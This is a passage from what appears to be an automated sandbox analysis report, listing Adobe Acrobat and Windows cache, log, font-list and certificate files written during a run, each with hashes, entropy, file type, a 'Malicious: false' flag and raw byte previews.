SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	8B1F7463D6405827059724681B75CF48
SHA1:	0DC877D053FC56EC8EE764AF0CA3A68D4FB3F1D3
SHA-256:	ECF908297A802F4006E690C71C4939E70644A0CD43C55476381C7947656FD6DE
SHA-512:	E50D877F7453C2F66F1E8C4D8611610B3B5B4611AD314D5736B9F458F82E3033B78DE348114C065ECB40C9F131850918D7603D72D7718F94AF8426B6F31F00B4
Malicious:	false
Preview:	.T.... ...............X\...;...{......................0.z..........{..'....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{......................................'....}...................q.'....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08089605226569717
Encrypted:	false
SSDEEP:	3:b//EYe15rB5ekGuAJkhvekl1lFrXlAllrekGltll/SPj:bXEz15btrxlXFrXlAJe3l
MD5:	E1F864C7F4E3321972F26DA1720F9D9F
SHA1:	F7319B36FCC9D9ACA1A7941452BBB66365E343E8
SHA-256:	AE46C6D1C34BCD11C131F78AA190F1EE0B753DC53917CF429F84ED09BAC1913C
SHA-512:	5336C8EBD226B55A591E4FFFE6A29620C7D262073B200822DCC979E53FC56A72951204B24C19E6294F0BBE1EA9521A22B56FF63E418E7E0036600435DEBB6C11
Malicious:	false
Preview:	..[......................................;...{..'....}.......{...............{.......{...XL......{....................q.'....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.204153285800924
Encrypted:	false
SSDEEP:	6:iO4qpDL+q2P92nKuAl9OmbnIFUtSqnuYT1ZmwsqnuYFLVkwO92nKuAl9OmbjLJ:7ryv4HAahFUtzuc/tuMR5LHAaSJ
MD5:	EB12702DD54E03E1E3115979BEC51BBE
SHA1:	068303E563FF36DB1D2187BD8DC509B5B1270417
SHA-256:	01C628756D3F4D09216C44EA68260D85B8B35BBD2D1988D560C12A184C75CC51
SHA-512:	C167351B89A1C95E57C329708CCDDC68D851FF0051183C60E5FCCB32BCCBA1DB742F1882072FBF20A73B6A6227176D2733243D8B4EC7097E204730A2220B06F9
Malicious:	false
Preview:	2025/01/10-21:28:39.566 1618 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:28:39.568 1618 Recovering log #3.2025/01/10-21:28:39.568 1618 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.204153285800924
Encrypted:	false
SSDEEP:	6:iO4qpDL+q2P92nKuAl9OmbnIFUtSqnuYT1ZmwsqnuYFLVkwO92nKuAl9OmbjLJ:7ryv4HAahFUtzuc/tuMR5LHAaSJ
MD5:	EB12702DD54E03E1E3115979BEC51BBE
SHA1:	068303E563FF36DB1D2187BD8DC509B5B1270417
SHA-256:	01C628756D3F4D09216C44EA68260D85B8B35BBD2D1988D560C12A184C75CC51
SHA-512:	C167351B89A1C95E57C329708CCDDC68D851FF0051183C60E5FCCB32BCCBA1DB742F1882072FBF20A73B6A6227176D2733243D8B4EC7097E204730A2220B06F9
Malicious:	false
Preview:	2025/01/10-21:28:39.566 1618 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:28:39.568 1618 Recovering log #3.2025/01/10-21:28:39.568 1618 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.191301131249184
Encrypted:	false
SSDEEP:	6:iO4qFKL+q2P92nKuAl9Ombzo2jMGIFUtSquG01ZmwsqymlLVkwO92nKuAl9Ombzz:76yv4HAa8uFUtNq/EmlR5LHAa8RJ
MD5:	CA9BCCD52E84A6EC4A02C60AFC6BE35C
SHA1:	C1B46937B9E6859DA55D44A9F20C350E6F1B1173
SHA-256:	CAA74B66F666D8692C9EF9E46FE6B8875AC80503E36D1D208312DA331E16B9EA
SHA-512:	196659F575F789161C9385DB8DE08E2E0C5E10F4979CCDC5D1CAE8D4A8A7E59F50B26DCE18515A5181F680551A9A5A89AA7C48804E2567FDA0F869CC9FC7FCA8
Malicious:	false
Preview:	2025/01/10-21:28:39.739 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:28:39.740 1c38 Recovering log #3.2025/01/10-21:28:39.741 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.191301131249184
Encrypted:	false
SSDEEP:	6:iO4qFKL+q2P92nKuAl9Ombzo2jMGIFUtSquG01ZmwsqymlLVkwO92nKuAl9Ombzz:76yv4HAa8uFUtNq/EmlR5LHAa8RJ
MD5:	CA9BCCD52E84A6EC4A02C60AFC6BE35C
SHA1:	C1B46937B9E6859DA55D44A9F20C350E6F1B1173
SHA-256:	CAA74B66F666D8692C9EF9E46FE6B8875AC80503E36D1D208312DA331E16B9EA
SHA-512:	196659F575F789161C9385DB8DE08E2E0C5E10F4979CCDC5D1CAE8D4A8A7E59F50B26DCE18515A5181F680551A9A5A89AA7C48804E2567FDA0F869CC9FC7FCA8
Malicious:	false
Preview:	2025/01/10-21:28:39.739 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:28:39.740 1c38 Recovering log #3.2025/01/10-21:28:39.741 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.037263237315232
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKWhsBdOg2Hzcaq3QYiubxnP7E4T3OF+:Y2sRdsRdMHK3QYhbxP7nbI+
MD5:	137D1FB8086F0FCFB738E48383F7013D
SHA1:	F4A6FC459BA787349AB6AAB0E1C31EEF5700931F
SHA-256:	8527663D326A17F3C2F2AD5105F529F7E823E555DEA188C4F6816FF16F9ED1E5
SHA-512:	9AEF38245CB490E1861BBD8A59FBDCC8307737BA2CDB5C9DA39E3A165F845960CCE24D458966B7EFAE1AF7750B4708FD09427776684BDC6786BF33A618C8E041
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122531455634","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122985},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e33fd2e6-df2c-46c1-a2fa-f8bdcc175dcb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.037263237315232
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqKWhsBdOg2Hzcaq3QYiubxnP7E4T3OF+:Y2sRdsRdMHK3QYhbxP7nbI+
MD5:	137D1FB8086F0FCFB738E48383F7013D
SHA1:	F4A6FC459BA787349AB6AAB0E1C31EEF5700931F
SHA-256:	8527663D326A17F3C2F2AD5105F529F7E823E555DEA188C4F6816FF16F9ED1E5
SHA-512:	9AEF38245CB490E1861BBD8A59FBDCC8307737BA2CDB5C9DA39E3A165F845960CCE24D458966B7EFAE1AF7750B4708FD09427776684BDC6786BF33A618C8E041
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122531455634","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122985},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237030514783852
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUTu+Sgkc:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLy
MD5:	CC624BDB41901645A518F6EDE771D9C0
SHA1:	0206E6FF3911DA3536B32F5FA87F7EACDA51B450
SHA-256:	FA9025E6D4B98AD15AA8467FE895CC398E246AE57AFBA18EB84C5FB552DE3605
SHA-512:	1622A8A300664A97A7EF5504F5DA092793F76A37D61B5785147053124F65A095A3AFAB8DB975377F2C8997D5A8E9A756F520F10EB64E785B05FCEC0C7C623C47
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.184160408542928
Encrypted:	false
SSDEEP:	6:iO4qDiL+q2P92nKuAl9OmbzNMxIFUtSq4i11ZmwsqQlLVkwO92nKuAl9OmbzNMFd:7xiyv4HAa8jFUtkC/KR5LHAa84J
MD5:	A03FC00B9BAB2A5D306BEAE922B374BA
SHA1:	D91DB53DE8BD11023C75D3FB5AC08EF6FE70717F
SHA-256:	3B5BAB5F83B31B34132E32EA30E4015D99D78284BE6E621A1D0AB6613FD6002C
SHA-512:	F13B718806139D5D42DD0DE724F9954EFE0B190CBA455D6F479A34FE83C4994FA9A20841FF3112FDB52EAC020EA0DA828B0758A99041642BE274C4B38BF454BA
Malicious:	false
Preview:	2025/01/10-21:28:39.926 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:28:39.927 1c38 Recovering log #3.2025/01/10-21:28:39.928 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.184160408542928
Encrypted:	false
SSDEEP:	6:iO4qDiL+q2P92nKuAl9OmbzNMxIFUtSq4i11ZmwsqQlLVkwO92nKuAl9OmbzNMFd:7xiyv4HAa8jFUtkC/KR5LHAa84J
MD5:	A03FC00B9BAB2A5D306BEAE922B374BA
SHA1:	D91DB53DE8BD11023C75D3FB5AC08EF6FE70717F
SHA-256:	3B5BAB5F83B31B34132E32EA30E4015D99D78284BE6E621A1D0AB6613FD6002C
SHA-512:	F13B718806139D5D42DD0DE724F9954EFE0B190CBA455D6F479A34FE83C4994FA9A20841FF3112FDB52EAC020EA0DA828B0758A99041642BE274C4B38BF454BA
Malicious:	false
Preview:	2025/01/10-21:28:39.926 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:28:39.927 1c38 Recovering log #3.2025/01/10-21:28:39.928 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 4, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.293273229827983
Encrypted:	false
SSDEEP:	192:PedRBLVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:Pe5ci5H5FY+EUUUTTcHqFzqFP
MD5:	00ECB3056324D29B96ECDBFBFC5B026F
SHA1:	537025D77753BC66CD13B1612C2E73B347F75669
SHA-256:	BA1191A98E6867AFD928CE707909E17A83BB40590B3F428DEA3D940A93C3167A
SHA-512:	5FD35D31B800B9A4B1FAEEF7152799E97D2115226CFB35E3218E98C065BCE7DABCCA5C9C6087BF5F3703EEBF4154B6EABF843724382CF821430535A76C19487A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2114906893779254
Encrypted:	false
SSDEEP:	24:7+t9iVwKkqLKzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mz6:7MCkqOmFTIF3XmHjBoGGR+jMz+Lhj
MD5:	35A1BA1B9ACC66F76FC7080DAF67B6B7
SHA1:	E0229B5B73A8CCD45AED676437B171DE3B4046B9
SHA-256:	F363DCF5F8FDDEDEB8B3C68749CF78F0ABB629B9B6B2463DB3C0AA70FA2AE64D
SHA-512:	E0D6F7DF3E3332E8A9C5F147B8B8E9DB3DC9575CB4D5DA33F192D86D3A9F0E9E3D0AEF1E5F02745D6DA779429F140C8200CFE10ADDD2838FDE01CD9A589B42CE
Malicious:	false
Preview:	.... .c......!.V........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl6mqopkPtfllXlE/HT8kGhl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKjxPeT8Rl7NMa8RdWBwRd
MD5:	3D7978915A10F7C377D2C99628A0DCAB
SHA1:	AE13540C7D7CB98ACCC1315087C8554091566AA8
SHA-256:	E4475BA61F8E63437E403C95407178AEB1761C21BA71F01199F06B7EF4B65538
SHA-512:	7F613561B0A32AECC435AD31CD9B3474A05D5BD61B7EB00F0EA77CF3741210B6896F1C5462D4FAA420AECCD31DCF0188FCD2F4E4C684B4FC119B1688BECB932B
Malicious:	false
Preview:	p...... ........IC...c..(....................................................... ..........W....#...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.224697743856228
Encrypted:	false
SSDEEP:	6:kKxWtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:5WtiDImsLNkPlE99SNxAhUe/3
MD5:	2B50DF31EF86E102F0A23D537BE1CE97
SHA1:	2B1FFABA5388C070BC66FD03939252893615D4FA
SHA-256:	97E9195D9E11E43DF4E07D162A65C6967782CFED80EA2F2177A5743AAE150091
SHA-512:	BFE14EC353A1837A71D1D0FCDE81080173DA72F8E46E1D6274CAFFFC8EC5235C1489680736B7A7F8705C6F94F1C49D5C17EBC08426F155886D3CE853E70DAA13
Malicious:	false
Preview:	p...... ........v8..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6532

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
